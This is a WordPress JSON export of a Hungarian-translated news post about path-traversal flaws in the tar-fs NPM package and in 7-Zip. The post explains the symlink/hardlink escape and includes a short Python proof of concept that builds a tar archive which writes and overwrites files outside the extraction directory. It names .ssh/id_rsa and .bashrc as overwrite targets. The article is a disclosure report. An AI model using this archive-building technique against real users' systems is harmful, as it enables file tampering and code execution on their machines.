{"id":140951,"date":"2025-08-18T11:12:07","date_gmt":"2025-08-18T09:12:07","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga"},"modified":"2025-08-18T11:12:07","modified_gmt":"2025-08-18T09:12:07","slug":"uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","status":"publish","type":"post","link":"https:\/\/prohoster.info\/hu\/blog\/news\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","title":{"rendered":"Tar-fs \u00e9s 7-Zip sebezhet\u0151s\u00e9gek, amelyek lehet\u0151v\u00e9 teszik f\u00e1jlok \u00edr\u00e1s\u00e1t a gy\u00f6k\u00e9rk\u00f6nyvt\u00e1ron k\u00edv\u00fcl","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

A tar-fs NPM csomagban egy s\u00e9r\u00fcl\u00e9kenys\u00e9g (CVE-2025-48387) ker\u00fclt felfedez\u00e9sre, amely lehet\u0151v\u00e9 teszi, hogy egy speci\u00e1lisan megform\u00e1lt tar-arch\u00edvum kicsomagol\u00e1sakor f\u00e1jlokat \u00edrjanak a f\u00e1jlrendszer b\u00e1rmely r\u00e9sz\u00e9be, amely nincs korl\u00e1tozva az aktu\u00e1lis felhaszn\u00e1l\u00f3 jogosults\u00e1gainak megfelel\u0151en a kicsomagol\u00e1si k\u00f6nyvt\u00e1rra. A s\u00e9r\u00fcl\u00e9kenys\u00e9g haszn\u00e1lhat\u00f3 megl\u00e9v\u0151 f\u00e1jlok fel\u00fcl\u00edr\u00e1s\u00e1ra is, p\u00e9ld\u00e1ul a felhaszn\u00e1l\u00f3 otthoni k\u00f6nyvt\u00e1r\u00e1ban a «.ssh\/id_rsa» vagy «.bashrc» f\u00e1jlok fel\u00fcl\u00edr\u00e1s\u00e1val a k\u00f3d v\u00e9grehajt\u00e1sa c\u00e9lj\u00e1b\u00f3l. <\/p>\n

A probl\u00e9m\u00e1hoz kritikus szint\u0171 vesz\u00e9lyess\u00e9g lett rendelve, figyelembe v\u00e9ve, hogy a tar-fs csomagnak heti 23 milli\u00f3 let\u00f6lt\u00e9se van, \u00e9s 1155 projekt f\u00fcgg\u0151s\u00e9gek\u00e9nt haszn\u00e1lj\u00e1k. A sebezhet\u0151s\u00e9get a 3.0.9, 2.1.3 \u00e9s 1.16.5 verzi\u00f3kban orvosolt\u00e1k, amelyeket m\u00e1jusban alak\u00edtottak ki, de a sebezhet\u0151s\u00e9gr\u0151l sz\u00f3l\u00f3 inform\u00e1ci\u00f3t csak k\u00f6zel h\u00e1rom h\u00f3nappal k\u00e9s\u0151bb hozt\u00e1k nyilv\u00e1noss\u00e1gra. <\/p>\n

A s\u00e9r\u00fcl\u00e9kenys\u00e9g a kicsomagol\u00e1sra sz\u00e1nt c\u00e9lk\u00f6nyvt\u00e1ron t\u00fali szimbolikus \u00e9s kem\u00e9ny linkek ellen\u0151rz\u00e9s\u00e9nek hi\u00e1ny\u00e1b\u00f3l ad\u00f3dik. A kiker\u00fcl\u00e9shez k\u00e9t szimbolikus link ker\u00fcl alkalmaz\u00e1sra: az els\u0151 a kicsomagol\u00e1s gy\u00f6k\u00e9rk\u00f6nyvt\u00e1r\u00e1ra mutat («.»), m\u00edg a m\u00e1sodik az els\u0151 szimbolikus link relat\u00edvjak\u00e9nt j\u00f6n l\u00e9tre, \u00e9s a nev\u00e9ben «..» karaktereket haszn\u00e1l a b\u00e1zisk\u00f6nyvt\u00e1r elhagy\u00e1s\u00e1hoz. P\u00e9ld\u00e1ul az els\u0151 link «noop\/noop\/noop» «.» -ra mutat, m\u00edg a m\u00e1sodik link «noop\/noop\/noop\/..\/\/..\/\/..» kiny\u00edlik mint «.\/..\/\/..\/\/..». A f\u00e1jlok arch\u00edvumbeli fel\u00fcl\u00edr\u00e1s\u00e1hoz kem\u00e9ny link hozhat\u00f3 l\u00e9tre, amely a m\u00e1sodik szimbolikus link viszony\u00edt\u00e1si pontjak\u00e9nt egy k\u00fcls\u0151 f\u00e1jlra mutat. import tarfile import io with tarfile.open(«poc.tar», mode=»x») as tar: root = tarfile.TarInfo(«root») root.linkname = («noop\/» * 15) + («..» * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo(«noop») noop.linkname = «.» noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo(«hardflag») hard.linkname = «root\/home\/username\/flag\/flag» hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b»overwrite\n» overwrite = tarfile.TarInfo(«hardflag») overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b»new!\n» newfile = tarfile.TarInfo(«root\/home\/username\/flag\/newfile») newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content)) <\/p>\n

Hasonl\u00f3 s\u00e9r\u00fcl\u00e9kenys\u00e9g (CVE-2025-55188) ker\u00fclt felfedez\u00e9sre a 7-Zip arch\u00edv\u00e1l\u00f3ban. A f\u00e1jlok b\u00e1zisk\u00f6nyvt\u00e1ron k\u00edv\u00fcli \u00edr\u00e1s\u00e1hoz a 7-Zip szimbolikus linkeket is haszn\u00e1lhat, amelyek tartalmazz\u00e1k az «..» szekvenci\u00e1t a f\u00e1jl\u00fatvonalban. A probl\u00e9ma kihaszn\u00e1lhat\u00f3 b\u00e1rmilyen, szimbolikus linkeket t\u00e1mogat\u00f3 arch\u00edvum 7-Zip \u00e1ltali kicsomagol\u00e1sa sor\u00e1n, p\u00e9ld\u00e1ul zip, tar, 7z \u00e9s rar. A probl\u00e9m\u00e1t a 7-Zip 25.01-es verzi\u00f3j\u00e1ban orvosolt\u00e1k.
\n
Forr\u00e1s: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 NPM-\u043f\u0430\u043a\u0435\u0442\u0435 tar-fs \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2025-48387), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u0440\u0438 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u043e\u0433\u043e tar-\u0430\u0440\u0445\u0438\u0432\u0430 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0432 \u043b\u044e\u0431\u044b\u0435 \u0447\u0430\u0441\u0442\u0438 \u0424\u0421, \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u043c, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0430 (\u043d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043f\u0440\u0430\u0432\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f). \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0435\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u0430\u043d\u044b \u0444\u0430\u0439\u043b\u044b «.ssh\/id_rsa» \u0438\u043b\u0438 «.bashrc» \u0432 […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-140951","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Sebezhet\u0151s\u00e9gek a tar-fs \u00e9s a 7-Zip programban, amelyek lehet\u0151v\u00e9 teszik, hogy a f\u00e1jlok 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\u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 tar-fs \u0438 7-Zip, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0431\u0430\u0437\u043e\u0432\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 | ProHoster","og:description":"\u0412 NPM-\u043f\u0430\u043a\u0435\u0442\u0435 tar-fs \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2025-48387), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u0440\u0438 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e 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